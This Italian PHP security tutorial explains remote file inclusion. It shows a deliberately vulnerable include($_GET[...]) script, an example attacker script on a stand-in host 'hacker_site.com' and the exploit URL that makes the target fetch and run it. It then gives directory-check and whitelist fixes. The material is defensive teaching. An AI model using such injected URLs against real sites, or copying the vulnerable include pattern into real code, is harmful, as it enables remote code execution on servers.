Si abbia uno script test.php, sul Web server di http://dummy_site.com, poniamo all'indirizzo: http://dummy_site.com/test.php.
<?
if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;
?>
test.php include un file in modo dinamico, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest'ultimo script viene incluso dinamicamente all'interno dello script principale test.php.
Sicuramente non rientra nelle intenzioni del programmatore l'eventualità che possa venir incluso un file remoto. Nelle intenzioni del cracker invece sì
Ecco come. Poniamo che il cracker prepari uno script, residente sul suo sito, del tipo http://hacker_site.com/evil_script come di seguito:
<?
echo "Inclusione dannosa riuscita.";
// altre istruzioni dannose;
?>
Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata, il cracker, inserendo da browser l'indirizzo:
http://dummy_site.com/test.php?include_script=http%3A%2F%2Fhacker_site.com%2Fevil_script
Un'annotazione: la direttiva allow_url_fopen abilita i wrapper URL per fopen(), in modo da poter accedere agli oggetti URL come file. Essa è abilitata di default.
Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:
if (isset($_GET['include_script']) && dirname($_GET['include_script'])==".")
{
include($_GET['include_script']);
}
È molto difficile, infatti, per il cracker riuscire a salvare un file nella directory virtuale di un server da remoto, se non in possesso dei relativi permessi. O in presenza di immensi buchi.
Oppure ancora, altro metodo, è sufficiente inserire tutte le pagine che intendiamo successivamente richiamare in un array ed in seguito verificarne la corrispondenza con la variabile in GET: se in GET è indicata una pagina non presente nell'array, essa non verrà inclusa. Questo secondo metodo scongiura una possibile vulnerabilità del primo: immaginiamo che include_script sia proprio test.php stesso: in teoria si scatenerebbe un processo di inclusione ricorsiva causando un DoS (Denial of Service) del Web server.
Rimane da sottolineare come gli include statici, del tipo: include("mio_file.php") non nascondono ovviamente alcun tipo di vulnerabilità.
Sessioni PHP: cosa sono, come si usanoDalla configurazione di PHP, alla gestione delle sessioni in un... |
Continuous Integration: automatizziamo i client con PhingContinuous Integration: automatizziamo i client con Phing. Esempi... |
Archiviazione delle applicazioni PHP con PharCome incorporare intere applicazioni PHP all'interno di un singolo... |
I traits in PHP 5.4Cosa sono, a cosa servono e come si unsano i traits, la novità per... |
PHP 5.4: il web server integratoImpara ad usare il web server integrato nella versione 5.4 di PHP:... |
Guida Yii FrameworkCome creare applicazioni Web in modo semplice e veloce con il... |
Guida Applicazioni Facebook con PHPCome realizzare un'applicazione per Facebook. Dalle basi della... |
Guida PHP con Windows e IISInstallare ambienti per lo sviluppo e la produzione di applicazioni... |
Ogni lunedì, direttamente nella tua e-mail: script, articoli, guide e tutorial su PHP, MySQL e Apache.
Iscriviti alla newsletter
|
|
Corso PHP per Webmaster11 Giugno 2012 a Milano |
|
|
Corso Google AdWords Base25 Giugno 2012 a Milano |
|
|
Corso Google AdWords Base05 Giugno 2012 a Roma |